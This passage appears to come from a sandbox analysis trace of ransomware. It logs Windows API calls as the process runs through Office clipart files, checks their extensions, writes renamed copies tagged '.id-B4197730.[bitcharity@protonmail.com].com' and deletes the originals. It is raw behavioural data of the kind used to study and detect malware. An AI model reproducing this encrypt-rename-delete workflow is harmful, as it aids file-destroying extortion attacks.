68 [0289.492] lstrlenW (lpString=".dbf") returned 4 [0289.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.492] lstrlenW (lpString=".1cd") returned 4 [0289.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.492] lstrlenW (lpString=".jpg") returned 4 [0289.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.492] lstrlenW (lpString=".doc") returned 4 [0289.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.492] lstrlenW (lpString=".docx") returned 5 [0289.492] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0289.492] lstrlenW (lpString=".pdf") returned 4 [0289.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.492] lstrlenW (lpString=".xls") returned 4 [0289.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.493] lstrlenW (lpString=".xlsx") returned 5 [0289.493] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0289.493] lstrlenW (lpString=".ppt") returned 4 [0289.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.493] lstrlenW (lpString=".zip") returned 4 [0289.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.493] lstrlenW (lpString=".rar") returned 4 [0289.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.493] lstrlenW (lpString=".bz2") returned 4 [0289.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.493] lstrlenW (lpString=".7z") returned 3 [0289.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.493] lstrlenW (lpString=".dbf") returned 4 [0289.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.493] lstrlenW (lpString=".1cd") returned 4 [0289.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.493] lstrlenW (lpString=".jpg") returned 4 [0289.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.494] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.494] lstrlenW (lpString="CRANINST.WMF") returned 12 [0289.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.494] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=49546) returned 1 [0289.494] CloseHandle (hObject=0x10a8) returned 1 [0289.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0289.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.494] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.495] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.495] GetLastError () returned 0x0 [0289.495] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xc18a, lpOverlapped=0x0) returned 1 [0289.554] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xc190, lpOverlapped=0x0) returned 1 [0289.555] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.555] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0289.556] SetEndOfFile (hFile=0x1098) returned 1 [0289.556] CloseHandle (hObject=0x1098) returned 1 [0289.556] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.556] SetEndOfFile (hFile=0x10a8) returned 1 [0289.557] CloseHandle (hObject=0x10a8) returned 1 [0289.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0289.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.557] lstrlenW (lpString=".doc") returned 4 [0289.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.557] lstrlenW (lpString=".docx") returned 5 [0289.557] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0289.557] lstrlenW (lpString=".pdf") returned 4 [0289.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.558] lstrlenW (lpString=".xls") returned 4 [0289.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.558] lstrlenW (lpString=".xlsx") returned 5 [0289.558] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0289.558] lstrlenW (lpString=".ppt") returned 4 [0289.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.558] lstrlenW (lpString=".zip") returned 4 [0289.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.558] lstrlenW (lpString=".rar") returned 4 [0289.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.558] lstrlenW (lpString=".bz2") returned 4 [0289.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.558] lstrlenW (lpString=".7z") returned 3 [0289.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.558] lstrlenW (lpString=".dbf") returned 4 [0289.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.558] lstrlenW (lpString=".1cd") returned 4 [0289.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.558] lstrlenW (lpString=".jpg") returned 4 [0289.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.558] lstrlenW (lpString=".doc") returned 4 [0289.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.558] lstrlenW (lpString=".docx") returned 5 [0289.558] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0289.558] lstrlenW (lpString=".pdf") returned 4 [0289.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.559] lstrlenW (lpString=".xls") returned 4 [0289.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.559] lstrlenW (lpString=".xlsx") returned 5 [0289.559] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0289.559] lstrlenW (lpString=".ppt") returned 4 [0289.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.559] lstrlenW (lpString=".zip") returned 4 [0289.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.559] lstrlenW (lpString=".rar") returned 4 [0289.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.559] lstrlenW (lpString=".bz2") returned 4 [0289.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.559] lstrlenW (lpString=".7z") returned 3 [0289.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.559] lstrlenW (lpString=".dbf") returned 4 [0289.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.559] lstrlenW (lpString=".1cd") returned 4 [0289.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0289.559] lstrlenW (lpString=".jpg") returned 4 [0289.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.559] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.559] lstrlenW (lpString="CUP.WMF") returned 7 [0289.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.560] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2966) returned 1 [0289.560] CloseHandle (hObject=0x10a8) returned 1 [0289.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0289.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.560] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.560] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.561] GetLastError () returned 0x0 [0289.561] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xb96, lpOverlapped=0x0) returned 1 [0291.521] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xba0, lpOverlapped=0x0) returned 1 [0291.522] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0291.522] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xe2, lpOverlapped=0x0) returned 1 [0291.522] SetEndOfFile (hFile=0x1098) returned 1 [0291.522] CloseHandle (hObject=0x1098) returned 1 [0291.522] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.522] SetEndOfFile (hFile=0x10a8) returned 1 [0291.523] CloseHandle (hObject=0x10a8) returned 1 [0291.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0291.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0291.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.524] lstrlenW (lpString=".doc") returned 4 [0291.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.524] lstrlenW (lpString=".docx") returned 5 [0291.524] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0291.524] lstrlenW (lpString=".pdf") returned 4 [0291.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.524] lstrlenW (lpString=".xls") returned 4 [0291.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.524] lstrlenW (lpString=".xlsx") returned 5 [0291.524] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0291.525] lstrlenW (lpString=".ppt") returned 4 [0291.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.525] lstrlenW (lpString=".zip") returned 4 [0291.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.525] lstrlenW (lpString=".rar") returned 4 [0291.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.525] lstrlenW (lpString=".bz2") returned 4 [0291.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.525] lstrlenW (lpString=".7z") returned 3 [0291.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.525] lstrlenW (lpString=".dbf") returned 4 [0291.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.525] lstrlenW (lpString=".1cd") returned 4 [0291.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.525] lstrlenW (lpString=".jpg") returned 4 [0291.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.525] lstrlenW (lpString=".doc") returned 4 [0291.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.525] lstrlenW (lpString=".docx") returned 5 [0291.526] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0291.526] lstrlenW (lpString=".pdf") returned 4 [0291.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.526] lstrlenW (lpString=".xls") returned 4 [0291.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.526] lstrlenW (lpString=".xlsx") returned 5 [0291.526] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0291.526] lstrlenW (lpString=".ppt") returned 4 [0291.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.526] lstrlenW (lpString=".zip") returned 4 [0291.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.526] lstrlenW (lpString=".rar") returned 4 [0291.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.526] lstrlenW (lpString=".bz2") returned 4 [0291.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.526] lstrlenW (lpString=".7z") returned 3 [0291.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.526] lstrlenW (lpString=".dbf") returned 4 [0291.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.526] lstrlenW (lpString=".1cd") returned 4 [0291.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.526] lstrlenW (lpString=".jpg") returned 4 [0291.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.527] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0291.527] lstrlenW (lpString="DD00234_.WMF") returned 12 [0291.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0291.527] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=29628) returned 1 [0291.527] CloseHandle (hObject=0x10a8) returned 1 [0291.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0291.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0291.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0291.528] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.528] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0291.528] GetLastError () returned 0x0 [0291.528] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x73bc, lpOverlapped=0x0) returned 1 [0292.298] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x73c0, lpOverlapped=0x0) returned 1 [0293.326] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.326] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.326] SetEndOfFile (hFile=0x1098) returned 1 [0293.326] CloseHandle (hObject=0x1098) returned 1 [0293.326] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.326] SetEndOfFile (hFile=0x10a8) returned 1 [0293.327] CloseHandle (hObject=0x10a8) returned 1 [0293.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0293.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.328] lstrlenW (lpString=".doc") returned 4 [0293.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.328] lstrlenW (lpString=".docx") returned 5 [0293.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.328] lstrlenW (lpString=".pdf") returned 4 [0293.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.328] lstrlenW (lpString=".xls") returned 4 [0293.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.328] lstrlenW (lpString=".xlsx") returned 5 [0293.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.328] lstrlenW (lpString=".ppt") returned 4 [0293.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.328] lstrlenW (lpString=".zip") returned 4 [0293.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.328] lstrlenW (lpString=".rar") returned 4 [0293.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.328] lstrlenW (lpString=".bz2") returned 4 [0293.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.329] lstrlenW (lpString=".7z") returned 3 [0293.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.329] lstrlenW (lpString=".dbf") returned 4 [0293.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0293.329] lstrlenW (lpString=".1cd") returned 4 [0293.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.329] 